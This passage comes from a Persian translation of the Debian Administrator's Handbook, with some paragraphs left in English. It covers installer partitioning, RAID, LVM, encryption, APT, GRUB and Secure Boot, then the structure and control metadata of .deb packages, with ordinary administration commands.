اولین صفحه دیسک‌های موجود را نمایش می‌دهد، پارتیشن هر یک از آن‌ها و میزان فضای آزادی که در هر پارتیشن وجود دارد. می‌توانید هر یک از آن‌ها را انتخاب کنید؛ فشردن کلید Enter فهرستی از عملیات ممکن را به شما نمایش می‌دهد.

برای حذف تمام پارتیشن‌های یک دیسک، می‌توانید آن دیسک را انتخاب کنید.

زمانی که فضای آزاد یک دیسک را انتخاب می‌کنید، به صورت دستی می‌توانید یک پارتیشن در آن ایجاد کنید. همچنین این عملیات را می‌توانید در پارتیشن‌بندی خودکار نیز انجام دهید که راهکاری جالب برای استفاده از دیسکی است که سیستم عامل دیگری روی آن نصب شده است، اما شما دوست دارید که به شیوه استاندارد روی آن لینوکس نصب کنید. برای پارتیشن‌بندی خودکار، قسمت 4.2.13.1, “پارتیشن‌بندی خودکار” را مشاهده کنید.

بازگشت به مقدمات Mount Point

mount point یک ساختار درختی است که محتویات فایل‌سیستم پارتیشن انتخاب شده را میزبانی می‌کند. بنابراین، پارتیشنی که در /home/ به صورت سنتی برای نگهداری از داده کاربران مورد استفاده قرار می‌گیرد.

زمانی که این دایرکتوری / نامیده شود، به عنوان root ساختار درختی در نظر گرفته می‌شود و همچنین ریشه پارتیشنی که کل سیستم دبیان روی آن قرار دارد.

بازگشت به مقدمات حافظه مجازی، swap

Virtual memory allows the Linux kernel, when lacking sufficient memory (RAM), to free a bit of memory by storing the parts of the RAM that have been inactive for some time on the swap partition of the hard disk.

برای شبیه‌سازی این حافظه اضافی، ویندوز از فایل swap استفاده می‌کند که در داخل فایل‌سیستم قرار دارد. درست برعکس، لینوکس از پارتیشن مختص به این کار استفاده می‌کند، که عبارت “پارتیشن swap” را مرسوم ساخته است.

هنگام انتخاب یک پارتیشن، شما می‌توانید شیوه بکارگیری آن را تعریف کنید:

فرمت‌کردن و قراردادن آن در ساختار درختی با انتخاب یک mount point؛

استفاده به عنوان پارتیشن swap؛

تبدیل آن به “volume فیزیکی جهت رمزنگاری” (برای محافظت از محرمانگی داده در پارتیشن‌های مشخص، در ادامه مشاهده کنید)؛

تبدیل آن به “volume فیزیکی جهت استفاده در LVM” (این مفهوم به طور مفصل در ادامه همین فصل می‌آید)؛

استفاده به عنوان یک دستگاه RAID (در ادامه فصل مشاهده کنید)؛

همچنین می‌توانید انتخاب کنید که ازش استفاده‌ای نگردد، و بنابراین بدون تغییر باقی بماند.

4.2.13.3. پیکربندی دستگاه‌های چنددیسکی (RAID نرم‌افزاری)

برخی انواع RAID امکان تکثیر اطلاعات موجود در هارد درایوها را می‌دهند تا از حذف داده در مواقع بروز مشکلات سخت‌افزاری جلوگیری بعمل آید. RAID سطح اول، در ساده‌ترین حالت یک کپی برابر (mirror) از هارد درایو روی درایو دیگر می‌گیرد، در حالی که RAID سطح پنجم، داده‌های افزونه را بین چند دیسک تقسیم می‌کند تا امکان بازسازی دیسک خراب‌شده فراهم آید.

ما تنها به توضیح RAID سطح اول می‌پردازیم که ساده‌ترین حالت برای پیاده‌سازی است. قدم اول ایجاد دو پارتیشن با اندازه یکسان روی دو هارد درایو جداگانه و برچسب‌گذاری به صورت “physical volume for RAID” است.

سپس باید با استفاده از ابزار پارتیشن‌بندی گزینه “Configure software RAID” را انتخاب کنید تا این دو پارتیشن را به یک دیسک مجازی تبدیل کرده و گزینه “Create MD device” در صفحه را انتخاب کنید. آنگاه باید به برخی پرسش‌های مطرح شده درباره این دستگاه جدید پاسخ دهید. پرسش اول سطح RAID را از شما می‌خواهد که در مورد ما می‌شود “سطح اول”. پرسش دوم تعداد دستگاه‌های فعال را می‌خواهد که در این مورد می‌شود دو تا، که تعداد پارتیشن‌های موجود در دستگاه MD است. پرسش سوم تعداد دستگاه‌های یدکی (کمکی) را می‌خواهد که صفر است؛ ما برنامه‌ای برای استفاده از دیسک کمکی در صورت معیوب شدن این دو دیسک نداریم. آخرین پرسش نیز شما را وادار به انتخاب پارتیشن‌های مورد نیاز برای دستگاه RAID می‌کند که همان دو پارتیشن کنار گذاشته شده در گام قبلی بود (اطمینان یابید که تنها پارتیشن‌های “raid” را انتخاب می‌کنید).

در بازگشت به منوی اصلی، یک دیسک مجازی “RAID” ظاهر می‌شود. این دیسک شامل پارتیشن مفردی است که نمی‌تواند حذف گردد، اما کاربرد آن را می‌توانیم تعیین کنیم (درست مانند هر پارتیشن دیگری).

برای اطلاعات بیشتر درباره عملکرد RAID، به قسمت قسمت 12.1.1, “RAID نرم‌افزاری” مراجعه کنید.

4.2.13.4. پیکربندی مدیر دیسک منطقی (LVM)

LVN امکان ایجاد پارتیشن‌های “مجازی” را می‌دهد که بین چند دیسک فیزیکی پخش شده‌اند. این مزیتی دوگانه است: اندازه پارتیشن‌ها دیگر محدود به دیسک‌های انفرادی نیست بلکه به حجم انباشته آن‌ها وابستگی دارد و همچنین می‌توانید پارتیشن‌های موجود را در هر زمانی تغییر اندازه دهید، حتی در زمان اضافه‌کردن یک دیسک مورد نیاز دیگر.

LVM واژگان مخصوص به خود را دارد: یک پارتیشن مجازی یک “Logical Volume” است، که قسمتی از یک “Volume Group” به حساب می‌آید یا اتحاد چندین “Physical Volumes”. هر یک از این اصطلاحات به یک پارتیشن “حقیقی” اشاره دارد (یا یک دستگاه RAID نرم‌افزاری).

این تکنیک به شیوه‌ای آسان کار می‌کند: هر volume، چه فیزیکی چه مجازی، به بلاک‌های یکسانی تقسیم می‌شود، که مطابق با LVM هستند. اضافه‌کردن یک دیسک جدید منجر به ایجاد یک physical volume جدید می‌شود و این بلاک‌ها می‌توانند به volume group دیگر اختصاص یابند. تمام پارتیشن‌های موجود در یک volume group که به فضای آن اضافه شده است، شامل فضای اضافی می‌شوند که می‌توانند خود را توسعه دهند.

ابزار پارتیشن‌بندی، LVM را در چند گام پیکربندی می‌کند. ابتدا باید با ایجاد پارتیشن‌های موجود روی دیسک آن‌ها را به صورت “physical volumes for LVM” طبقه‌بندی کنید. برای فعال‌سازی LVM، باید گزینه “Configure the Logical Volume Manager (LVM)” را انتخاب کرده و در همان صفحه گزینه “Create a volume group” را برگزینید، که در آن physical volume موجود را مشخص می‌سازید. در نهایت، می‌توانید داخل این volume group به ایجاد logical volume بپردازید. به یاد داشته باشید، که سیستم پارتیشن‌بندی خودکار، تمام این کارها را انجام می‌دهد.

در منو پارتیشن‌بندی، هر physical volume به صورت یک دیسک با پارتیشن مفرد نمایش می‌یابد که نمی‌تواند حذف گردد، اما می‌توانید برای هر منظوری از ان استفاده کنید.

کاربرد LVM با جزئیات بیشتر در قسمت قسمت 12.1.2, “LVM” توضیح داده شده است.

4.2.13.5. تنظیم پارتیشن‌های رمزگذاری‌شده

برای تضمین محرمانگی داده خود، برای نمونه در حالت از دست دادن رایانه یا هارد درایو آن، امکان رمزگذاری داده در برخی پارتیشن‌ها وجود دارد. این قابلیت در مورد هر فایل‌سیستمی می‌تواند پیاده شود، چراکه از نظر LVM، لینوکس (و به طور خاص درایور dm-crypt) از Device Mapper برای ایجاد پارتیشن مجازی استفاده می‌کند (که محتوایش محافظت‌شده است) بر اساس پارتیشن اساسی که داده را به صورت رمزگذاری شده ذخیره می‌سازد (به لطف LUKS که مخفف Linux Unified Key Setup است، فرمت استانداردی که امکان ذخیره‌سازی داده‌های رمزگذاری شده و اطلاعات جانبی مربوط به آن‌ها، همچنین الگوریتم مورد استفاده را فراهم می‌کند).

امنیت پارتیشن swap رمزگذاری‌شده

When an encrypted partition is used, the encryption key is stored in memory (RAM). Since retrieving this key allows the decryption of the data, it is of utmost importance to avoid leaving a copy of this key that would be accessible to the possible thief of the computer or hard drive, or to a maintenance technician. This is, however, something that can easily occur with a laptop, since when hibernating the contents of RAM is stored on the swap partition. If this partition isn't encrypted, the thief may access the key and use it to decrypt the data from the encrypted partitions. This is why, when you use encrypted partitions, it is imperative to also encrypt the swap partition!

برنامه نصب‌کننده دبیان هنگام رمزگذاری یک پارتیشن، اگر پارتیشن swap رمزگذاری نشده باشد به کاربر اخطار می‌دهد.

برای ایجاد یک پارتیشن رمزگذاری شده، ابتدا باید یک پارتیشن موجود را به این کار اختصاص دهید. برای این منظور، یک پارتیشن را انتخاب کرده و آن را به عنوان “physical volume for encryption” علامت‌گذاری کنید. بعد از پارتیشن‌بندی دیسکی که physical volume را در اختیار دارد، گزینه “Configure encrypted volumes” را انتخاب کنید. نرم‌افزار در این زمان به بررسی physical volume با داده‌های تصادفی می‌پردازد (که مکان‌یابی داده واقعی را سخت‌تر می‌کند) و از شما می‌خواهد که یک “encryption passphrase” وارد کنید، که هر زمان سیستم شما روشن شد باید آن را وارد کنید تا بتوانید به پارتیشن رمزگذاری شده دسترسی پیدا کنید. زمانی که این مرحله به اتمام رسید، و شما به منوی اصلی پارتیشن‌بندی بازگشتید، یک پارتیشن جدید در قسمت “encrypted volume” ظاهر می‌گردد که می‌توانید مانند سایر پارتیشن‌ها آن را پیکربندی کنید. در اکثر موارد، این پارتیشن به عنوان یک physical volume برای LVM مورد استفاده قرار می‌گیرد تا بتوان با آن پارتیشن‌های دیگر (logical volume) را با همان کلید رمزگذاری ایجاد کرد که شامل پارتیشن swap نیز می‌گردد (قسمت امنیت پارتیشن swap رمزگذاری‌شده را مشاهده کنید).

4.2.14. نصب سیستم پایه

در این گام، که به تعامل با کاربر نیازی نیست، تمام بسته‌های “سیستم پایه” دبیان نصب می‌شوند. این‌ها شامل ابزار dpkg و apt می‌شوند، که بسته‌های دبیان را مدیریت می‌کنند به همراه ابزارهای کاربردی که سیستم را راه‌اندازی کرده و آماده استفاده می‌نمایند.

شكل 4.11. فرآیند نصب سیستم پایه

4.2.15. پیکربندی مدیر بسته (apt)

به منظور نصب نرم‌افزاری اضافی، APT نیاز به پیکربندی دارد که بداند از کجا بسته‌های دبیان را پیدا کند. این گام تا جای ممکن به صورت خودکار انجام می‌شود. با پرسشی آغاز می‌شود که می‌گوید آیا باید از منبع شبکه‌ای جهت دریافت بسته‌ها استفاده گردد یا تنها به دنبال بسته‌های موجود در CD-ROM باشد.

یادآوری CD-ROM دبیان داخل درایو

اگر برنامه متوجه وجود دیسک نصب دبیان داخل CD/DVD خوان گردد، پیکربندی APT بمنظور جستجوی بسته‌ها از روی شبکه ضروری نیست: APT به صورت خودکار بسته‌ها را از حافظه‌ جانبی دریافت می‌کند. اگر دیسک مجموعه‌ای از چند دیسک بزرگ‌تر باشد، برنامه به پیشنهاد می‌دهد که به “کاوش” سایر دیسک‌ها به منظور دریافت تمام بسته‌های موجود پرداخته شود.

اگر دریافت بسته‌ها از شبکه درخواست شده باشد، دو پرسش بعدی به ترتیب با مطرح کردن کشور و سرور موجود در آن کشور (mirror) به دانلود بسته‌های موجود در شبکه اقدام می‌کنند. (mirror، یک سرور عمومی است که از کپی‌های بایگانی اصلی دبیان میزبانی می‌کند).

شكل 4.12. انتخاب یک mirror دبیان

در نهایت، برنامه پیشنهاد استفاده از یک پروکسی HTTP را می‌دهد. اگر پروکسی موجود نباشد، دسترسی مستقیم به اینترنت صورت می‌گیرد. اگر بنویسید http://proxy.falcot.com:3128، برنامه APT از proxy/cache شرکت فالکات، که یک برنامه “Squid” است استفاده می‌کند. شما می‌توانید این پیکربندی‌ها را در مرورگر وب ماشینی که به آن شبکه متصل است مشاهده کنید.

The files Packages.xz and Sources.xz are then automatically downloaded to update the list of packages recognized by APT.

بازگشت به مقدمات HTTP Proxy

HTTP Proxy سروری است که درخواست‌های HTTP را برای کاربران شبکه فوروارد می‌کند. گاهی اوقات با نگهداری کپی از فایل‌های منتقل شده، به افزایش سرعت دانلود کمک می‌کند (که با نام proxy/cache شناخته می‌شود). در برخی موارد، تنها روش دسترسی به یک وب‌سرور خارجی است؛ در اینگونه موارد، پاسخ به پرسش مورد نظر در این مورد ضروری است تا دبیان بتواند بسته‌های مورد نیاز را از آنجا تهیه کند.

Squid نام نرم‌افزار سرور شرکت فالکات است که این قابلیت را ارائه می‌دهد.

4.2.16. مسابقه محبوبیت بسته‌های دبیان

سیستم دبیان شامل بسته‌ای به نام popularity-contest است، که هدفش جمع‌آوری اطلاعات درباره بسته‌های دبیان است. هر هفته، این برنامه اقدام به جمع‌آوری اطلاعات بسته‌های نصب‌شده و استفاده‌شده روی سیستم می‌نماید و آن‌ها را به صورت ناشناس به سرورهای پروژه دبیان ارسال می‌کند. پروژه آنگاه می‌تواند با تحلیل این آمار، میزان اهمیت هر بسته را تشخیص دهد، که تاثیر زیادی در تخصیص اولویت به آن‌ها دارد. به طور مشخص، “محبوبیت” بسته‌ها در CD-ROM نصب قرار گرفته می‌شوند، که دسترسی آن‌ها را برای کاربرانی که قصد دانلود یا خرید مجموعه کامل را ندارند، آسان‌تر می‌سازد.

این بسته تنها در صورت درخواست فعال می‌شود، چراکه ما به محرمانگی کاربرد این بسته‌ها نزد کاربران، احترام می‌گذاریم.

4.2.17. انتخاب بسته‌ها برای نصب

گام فعلی به شما امکان می‌دهد که هدف اصلی استفاده از ماشین را به صورت کلی تعیین کنید؛ ده فعالیت پیشنهادی مرتبط با بسته‌های متفاوت وجود دارد. فهرست بسته‌های مورد نیاز جهت نصب در ادامه کامل و بهینه می‌شود، اما این شیوه یک نقطه آغازین مناسب را به همراه دارد.

Some packages are also automatically installed according to the hardware detected (thanks to the program discover-pkginstall from the discover package).

شكل 4.13. انتخاب وظایف

4.2.18. نصب راه‌انداز GRUB

راه‌انداز، اولین برنامه‌ای است که توسط بایوس اجرا می‌شود. این برنامه کرنل لینوکس را در حافظه بارگیری کرده و به اجرای آن می‌پردازد. همچنین شامل منویی است که به کاربر امکان انتخاب کرنل یا سیستم عامل دیگری را می‌دهد.

آگاه باشید راه‌انداز و راه‌اندازی دوگانه

این فاز از فرآیند نصب دبیان سایر سیستم عامل‌های نصب شده در رایانه را شناسایی کرده و به صورت خودکار برای آن‌ها مدخل‌های جداگانه‌ای در منوی بوت در نظر می‌گیرد، اما تمام برنامه‌های نصب‌کننده این کار را انجام نمی‌دهند.

In particular, if you install (or reinstall) Windows thereafter, the bootloader will be erased. Debian will still be on the hard drive, but will no longer be accessible from the boot menu (except for Windows 10, where it will still be accessible through the Windows recovery console). You would then have to boot the Debian installation system in rescue mode to set up a less exclusive bootloader. This operation is described in detail in the installation manual.

→ https://www.debian.org/releases/stable/amd64/ch08s06

به صورت پیشفرض، منوی پیشنهادی GRUB شامل تمام کرنل‌های نصب شده از لینوکس است، به همراه هر سیستم عامل دیگری که شناسایی شده باشد. این همان دلیلی است که باید نصب آن در Master Boot Record را بپذیرید. چراکه نگهداری از نسخه‌های قدیمی‌تر کرنل، امکان راه‌اندازی سیستم را زمانی که آخرین نسخه از کرنل خراب شده باشد، فراهم می‌آورد، پس منطقی است که چند تا از این نسخه‌های قدیمی‌تر را نگاه داریم.

GRUB به لطف برتری‌های فنی بسیار که دارد، راه‌اندازی پیشفرض دبیان به حساب می‌آید: با اکثر فایل‌سیستم‌ها سازگار است و نیازی به بروزرسانی پس از هر نسخه جدید کرنل ندارد، چراکه تنظیمات خود را به هنگام راه‌اندازی سیستم خوانده و جای دقیق کرنل را پیدا می‌کند. نسخه اول GRUB (که به “Grub Legacy” معروف است) تمام ترکیبات LVM و RAID نرم‌افزاری را نمی‌توانست مدیریت کند؛ نسخه دوم، که به صورت پیشفرض نصب می‌شود، کامل‌تر از آن است. ممکن است هنوز شرایطی وجود داشته باشد که استفاده از LILO (یک راه‌انداز دیگر) توصیه گردد؛ برنامه نصب آن را به صورت خودکار پیشنهاد می‌دهد.

It is worth noting that GRUB is not a single bootloader, it is more like a collection of bootloaders suited for different cases. The numerous binary packages built out of the GRUB source package reflect that: grub-efi-amd64 is for 64-bit PC booting in UEFI mode, grub-efi-ia32 is for 32-bit PC booting in UEFI mode, grub-pc is for PC booting in BIOS mode, grub-uboot for ARM computers, etc.

برای اطلاعات بیشتر درباره پیکربندی GRUB، به قسمت قسمت 8.8.3, “پیکربندی GRUB2” مراجعه کنید.

CULTURE Secure Boot and the shim bootloader

Secure Boot is a technology ensuring that you run only software validated by your operating system vendor. To accomplish its work each element of the boot sequences validates the next software component that it will execute. At the deepest level, the UEFI firmware embeds cryptographic keys provided by Microsoft to check the bootloader's signature, ensuring that it is safe to execute. Since getting a binary signed by Microsoft is a lengthy process, Debian decided to not sign GRUB directly. Instead it uses an intermediary bootloader called shim, which almost never needs to change, and whose only role is to check Debian's provided signature on GRUB and execute GRUB. To run Debian on a machine having Secure Boot enabled, you need to install the shim-signed package.

Down the stack, GRUB will do a similar check with the kernel, and then the kernel might also check signatures on modules that get loaded. The kernel might also forbid some operations that could alter the integrity of the system.

Debian 10 is the first release supporting Secure Boot. Before, you had to disable that feature in the system setup screen offered by the BIOS or the UEFI.

4.2.19. پایان فرآیند نصب و راه‌اندازی مجدد

فرآیند نصب هم‌اکنون به پایان رسیده است، برنامه به شما پیشنهاد می‌کند که CD-ROM را خارج کرده و رایانه را راه‌اندازی مجدد نمایید.

4.3. پس از اولین راه‌اندازی سیستم

اگر گزینه “Debian Desktop Environment” را بدون ذکر میزکار (یا گزینه پیشفرض “GNOME”) انتخاب کرده باشید، برنامه gdm3 به شما نمایش داده می‌شود.

شكل 4.14. اولین راه‌اندازی

کاربری که در فرآیند نصب ایجاد گردید، اکنون می‌تواند وارد سیستم شده و بلافاصله به استفاده از آن بپردازد.

4.3.1. نصب سایر نرم‌افزارها

بسته‌های نصب‌شده منطبق با پروفایل انتخاب شده هنگام نصب سیستم ایجاد شده‌اند، اما ضرورتاً منطبق با نیازی که قرار است از رایانه درخواست شود نیستند. بنابراین، ممکن است بخواهید از مدیر بسته‌ای استفاده کنید که برنامه‌ها را بر اساس وظایف سراسری دسته‌بندی کرده باشد. دو تا از پرکاربردترین این ابزارها (که در صورت انتخاب گزینه “Debian Desktop Environment” نصب شده‌اند) عبارتند از apt (با قابلیت دسترسی از خط فرمان) و synaptic (با قابلیت دسترسی از محیط گرافیکی).

برای تسهیل فرآیند نصب برنامه‌های موجود در یک گروه، دبیان “دسته‌هایی” ایجاد کرده است که به کاربردهای ویژه‌ای اختصاص دارند (سرور ایمیل، سرور فایل و از این قبیل). شما در هنگام نصب امکان انتخاب آن‌ها را داشته‌اید و هم اکنون نیز به لطف برنامه‌هایی نظیر aptitude و synaptic (از طریق منو Edit → Mark Packages by Task…) می‌توانید به آن‌ها دسترسی پیدا کنید.

Aptitude یک رابط برای APT در محیط تمام متنی به حساب می‌آید. به کاربر این امکان را می‌دهد تا با استفاده از طبقه‌بندی‌های گوناگون(نصب‌شده یا نصب‌نشده، بر اساس گروه، بر اساس قسمت)، فهرستی از بسته‌های موجود را مشاهده کند و به بررسی تمام اطلاعات موجود در ارتباط با هر بسته بپردازد (وابستگی‌ها، تداخل‌ها، توضیحات و از این قبیل). هر بسته می‌تواند به صورت “install” (جهت نصب، +)، یا “remove” (جهت حذف، -) نشانه‌گذاری شود. تمام این عملیات به صورت همزمان هنگامی که کلید g (“g” به معنی “go!”) را فشار دهید، اعمال می‌شوند. اگر برخی برنامه‌ها را فراموش کرده باشید، جای نگرانی نیست؛ هنگامی که نصب اولیه بسته‌ها به پایان رسید مجدد می‌توانید aptitude را فراخوانی کنید.

نکته دبیان به فکر کاربران غیر-انگلیسی زبان نیز هست

task دیگری به منظور بومی‌سازی سیستم به زبان‌های دیگر بجز انگلیسی اختصاص داده شده است. آن‌ها شامل مستندات ترجمه‌شده، لغت‌نامه‌ها و بسیاری بسته‌های کاربردی دیگر برای سایر زبان‌ها هستند. task متناسب هنگام انتخاب زبانی بجز انگلیسی در ابتدای فرآیند نصب، انتخاب می‌گردد.

Of course, it is possible not to select any task to be installed. In this case, you can manually install the desired software with the apt or aptitude command (which are both accessible from the command line).

واژگان وابستگی‌ها و تداخل‌های بین بسته‌ها

در ادبیات بین بسته‌های دبیان، یک “dependency” بسته دیگری است که برای عملکرد صحیح بسته اصلی، ضروری است. برعکس، “conflict” بسته‌ای است که در کنار سایر بسته‌ها نمی‌توان از آن استفاده کرد.

این مفاهیم به صورت کامل در قسمت فصل 5, سیستم بسته‌بندی: اصول و ابزارهای بنیادین توضیح داده شده‌اند.

4.3.2. بروزرسانی سیستم

A first apt upgrade (a command used to automatically update installed programs) is generally required, especially for possible security updates issued since the release of the latest Debian stable version. These updates may involve some additional questions through debconf, the standard Debian configuration tool. For further information on these updates conducted by apt, please refer to قسمت 6.2.3, “بروزرسانی سیستم” .

فصل 5. سیستم بسته‌بندی: اصول و ابزارهای بنیادین

به عنوان یک مدیر سیستم دبیان، شما به طور مداوم با بسته‌های .deb سروکار خواهید داشت، چراکه دارای کاربردهای گوناگونی هستند (برنامه‌ها، مستندات و ...) و شامل عملیات نصب و نگهداری می‌شوند. بنابراین ایده خوبی است که از چگونگی و نحوه کارکرد آن‌ها اطلاع داشته باشید.

This chapter describes the structure and contents of “binary” and “source” packages. The former are files directly usable by dpkg, while the latter contain the source code, as well as instructions for building binary packages.

5.1. ساختار یک بسته باینری

The Debian package format is designed so that its content may be extracted on any Unix system that has the classic commands ar, tar, and xz or sometimes gzip or bzip2. This seemingly trivial property is important for portability and disaster recovery.

Imagine, for example, that you mistakenly deleted the dpkg program, and that you could thus no longer install Debian packages. dpkg being a Debian package itself, it would seem your system would be done for... Fortunately, you know the format of a package and can therefore download the .deb file of the dpkg package and install it manually (see sidebar ابزار dpkg، APT و ar). If by some misfortune one or more of the programs ar, tar or gzip/xz/bzip2 have disappeared, you will only need to copy the missing program from another system (since each of these operates in a completely autonomous manner, without dependencies, a simple copy will suffice). If your system suffered some even more outrageous fortune, and even these don't work (maybe the deepest system libraries are missing?), you should try the static version of busybox (provided in the busybox-static package), which is even more self-contained, and provides subcommands such as busybox ar, busybox tar and busybox xz.

In case of a misfortune you better also have a backup of your system (see قسمت 9.10, “پشتیبان‌گیری” ).

ابزار dpkg، APT و ar

dpkg is the program that handles .deb files (binary packages), notably extracting, analyzing, and unpacking them.

APT (the abbreviation of "Advanced Packaging Tool") is a group of programs that allows the execution of higher-level modifications to the system: installing or removing a package (while keeping dependencies satisfied), updating and upgrading the system, listing the available packages, etc.

As for the ar program, it allows handling files of the same name: ar t archive displays the list of files contained in such an archive, ar x archive extracts the files from the archive into the current working directory, ar d archive file deletes a file from the archive, etc. Its man page (ar(1)) documents all its other features. ar is a very rudimentary tool that a Unix administrator would only use on rare occasions, but admins routinely use tar, a more evolved archive and file management program. This is why it is easy to restore dpkg in the event of an erroneous deletion. You would only have to download the Debian package and extract the content from the data.tar.xz archive in the system's root (/):

# ar x dpkg_1.19.7_amd64.deb # tar -C / -p -xJf data.tar.xz

بازگشت به مقدمات صفحه راهنما و توضیحات آن

ممکن است برای تازه‌کاران دسترسی به “ar(1)” دشوار باشد. این در حقیقت شیوه‌ای برای دسترسی به قسمت ۱ صفحه راهنمای ar است.

گاهی اوقات این شیوه علامت‌گذاری برای رفع ابهام بکار می‌رود. برای نمونه، بین دستور printf که توسط printf(1) مشخص می‌گردد و تابع printf که توسط printf(3) مشخص می‌گردد و در زبان برنامه‌نویسی C موجود است، تفاوت وجود دارد.

فصل 7, حل مشکلات و یافتن اطلاعات مرتبط درباره صفحات راهنمای با جزییات بیشتری بحث می‌کند (قسمت قسمت 7.1.1, “صفحات راهنما” را مشاهده کنید).

بیایید نگاهی به محتوای درون فایل .deb بیندازیم:

$ ar t dpkg_1.19.7_amd64.deb debian-binary control.tar.gz data.tar.xz $ ar x dpkg_1.19.7_amd64.deb $ ls control.tar.gz data.tar.xz debian-binary dpkg_1.19.7_amd64.deb $ tar tJf data.tar.xz | head -n 16 ./ ./ ./etc/ ./etc/alternatives/ ./etc/alternatives/README ./etc/cron.daily/ ./etc/cron.daily/dpkg ./etc/dpkg/ ./etc/dpkg/dpkg.cfg ./etc/dpkg/dpkg.cfg.d/ ./etc/logrotate.d/ ./etc/logrotate.d/alternatives ./etc/logrotate.d/dpkg ./sbin/ ./sbin/start-stop-daemon ./usr/ ./usr/bin/ $ tar tJf control.tar.xz ./ ./conffiles ./control ./md5sums ./postinst ./postrm $ cat debian-binary 2.0

همانطور که مشاهده می‌کنید، آرشیو ar یک بسته دبیان از سه فایل تشکیل شده است:

debian-binary

This is a text file which simply indicates the version of the .deb file package format version. In Debian Buster it is still version 2.0.

control.tar.xz

This archive file contains all of the available meta-information, like the name and version of the package as well as some scripts to run before, during or after (un-)installation of it. Some of the meta-information allows package management tools to determine if it is possible to install or uninstall it, for example according to the list of packages already on the machine, and if files shipped have been modified locally.

data.tar.xz, data.tar.bz2, data.tar.gz

This archive contains all of the files to be extracted from the package; this is where the executable files, libraries, documentation, etc., are all stored. Packages may use different compression formats, in which case the file will be named differently for xz, bzip2 or gzip.

5.2. اطلاعات-جانبی بسته

The Debian package is not only an archive of files intended for installation. It is part of a larger whole and describes its relationship with other Debian packages (requisites, dependencies, conflicts, suggestions). It also provides scripts that enable the execution of commands at different stages in the package's lifecycle (installation, upgrade, removal). These data are used by the package management tools but are not part of the packaged software; they are, within the package, what is called its “meta-information” (information about other information).

5.2.1. توضیح: فایل control

This file uses a structure similar to email headers (as defined by RFC 2822) and is fully described in the Debian Policy and the manual pages deb-control(5) and deb822(5).

→ https://www.debian.org/doc/debian-policy/ch-controlfields.html

For example, for apt, the control file looks like the following:

$ apt-cache show apt Package: apt Version: 1.8.2 Installed-Size: 4064 Maintainer: APT Development Team <deity@lists.debian.org> Architecture: amd64 Replaces: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~) Provides: apt-transport-https (= 1.8.2) Depends: adduser, gpgv | gpgv2 | gpgv1, debian-archive-keyring, libapt-pkg5.0 (>= 1.7.0~alpha3~), libc6 (>= 2.15), libgcc1 (>= 1:3.0), libgnutls30 (>= 3.6.6), libseccomp2 (>= 1.0.1), libstdc++6 (>= 5.2) Recommends: ca-certificates Suggests: apt-doc, aptitude | synaptic | wajig, dpkg-dev (>= 1.17.2), gnupg | gnupg2 | gnupg1, powermgmt-base Breaks: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~), aptitude (<< 0.8.10) Description-en: commandline package manager This package provides commandline tools for searching and managing as well as querying information about packages as a low-level access to all features of the libapt-pkg library. . These include: * apt-get for retrieval of packages and information about them from authenticated sources and for installation, upgrade and removal of packages together with their dependencies * apt-cache for querying available information about installed as well as installable packages * apt-cdrom to use removable media as a source for packages * apt-config as an interface to the configuration settings * apt-key as an interface to manage authentication keys Description-md5: 9fb97a88cb7383934ef963352b53b4a7 Tag: admin::package-management, devel::lang:ruby, hardware::storage, hardware::storage:cd, implemented-in::c++, implemented-in::perl, implemented-in::ruby, interface::commandline, network::client, protocol::ftp, protocol::http, protocol::ipv6, role::program, scope::application, scope::utility, suite::debian, use::downloading, use::organizing, use::playing, use::searching, works-with-format::html, works-with::audio, works-with::software:package, works-with::text Section: admin Priority: required Filename: pool/main/a/apt/apt_1.8.2_amd64.deb Size: 1418108 MD5sum: 0e80dedab6ec1e66a8f6c15f1925d2d3 SHA256: 80e9600822c4943106593ca5b0ec75d5aafa74c6130ba1071b013c42c507475e

بازگشت به مقدمات استانداردهای اینترنت - RFC

RFC is the abbreviation of “Request For Comments”. An RFC is generally a technical document that describes what will become an Internet standard. Before becoming standardized and frozen, these standards are submitted for public review (hence their name). The IETF (Internet Engineering Task Force) decides on the evolution of the status of these documents (proposed standard, draft standard, or standard).

RFC 2026 فرآیند استانداردسازی پروتکل‌های اینترنتی را تعریف می‌کند.

→ http://www.faqs.org/rfcs/rfc2026.html

5.2.1.1. وابستگی‌ها: فیلد Depends

The dependencies are defined in the Depends field in the package header. It is a list of conditions to be met for the package to work correctly. This information is used by tools such as apt in order to install the required libraries, tools, drivers, etc. in appropriate versions fulfilling the dependencies of the package to be installed. For each dependency, it is possible to restrict the range of versions that meet that condition. In other words, it is possible to express the fact that we need the package libc6 in a version equal to or greater than “2.15” (written “libc6 (>= 2.15)”). Version comparison operators are as follows:

<<: کوچکتر از;

<=: کوچکتر یا مساوی;

=: مساوی;

>=: بزرگتر یا مساوی;

>>: بزرگتر از.

In a list of conditions to be met, the comma serves as a separator. It must be interpreted as a logical “and”. In conditions, the vertical bar (“|”) expresses a logical “or” (it is an inclusive “or”, not an exclusive “either/or”). Carrying greater priority than “and”, it can be used as many times as necessary. Thus, the dependency “(A or B) and C” is written A | B, C. In contrast, the expression “A or (B and C)” should be written as “(A or B) and (A or C)”, since the Depends field does not tolerate parentheses that change the order of priorities between the logical operators “or” and “and”. It would thus be written A | B, A | C.

→ https://www.debian.org/doc/debian-policy/#document-ch-relationships

سیستم وابستگی‌ها مکانیزم خوبی برای تضمین عملکرد یک برنامه است اما کاربرد دیگری با “meta-packages” نیز دارد. این‌ها بسته‌های خالی هستند که تنها به توضیح وابستگی‌ها می‌پردازند. آن‌ها فرآیند نصب گروهی از برنامه‌ها که توسط نگهدارنده‌شان انتخاب شده است، تسهیل می‌بخشند؛ به همین دلیل، apt install meta-package به صورت خودکار تمام برنامه‌های مورد نیاز meta-package را نصب می‌کند. gnome، kde-full و linux-image-amd64 نمونه‌هایی از meta-packages هستند.

خط‌مشی دبیان فیلدهای Recommends، Suggests و Enhances

فیلدهای Recommends و Suggests بسته‌های مکمل را توضیح می‌دهند. فیلد “recommended”، که مهم‌ترین آن‌ها است، عملکرد کلی بسته را افزایش می‌دهد اما تاثیری رو عملیات موجود روی آن ندارد. فیلد “suggested”، که در درجه دوم اهمیت قرار دارد، بیان می‌کند برخی بسته‌ها می‌توانند عملکرد یکدیگر را بهبود ببخشند، اما بهتر آن است که تنها یکی از آن‌ها نصب گردد.

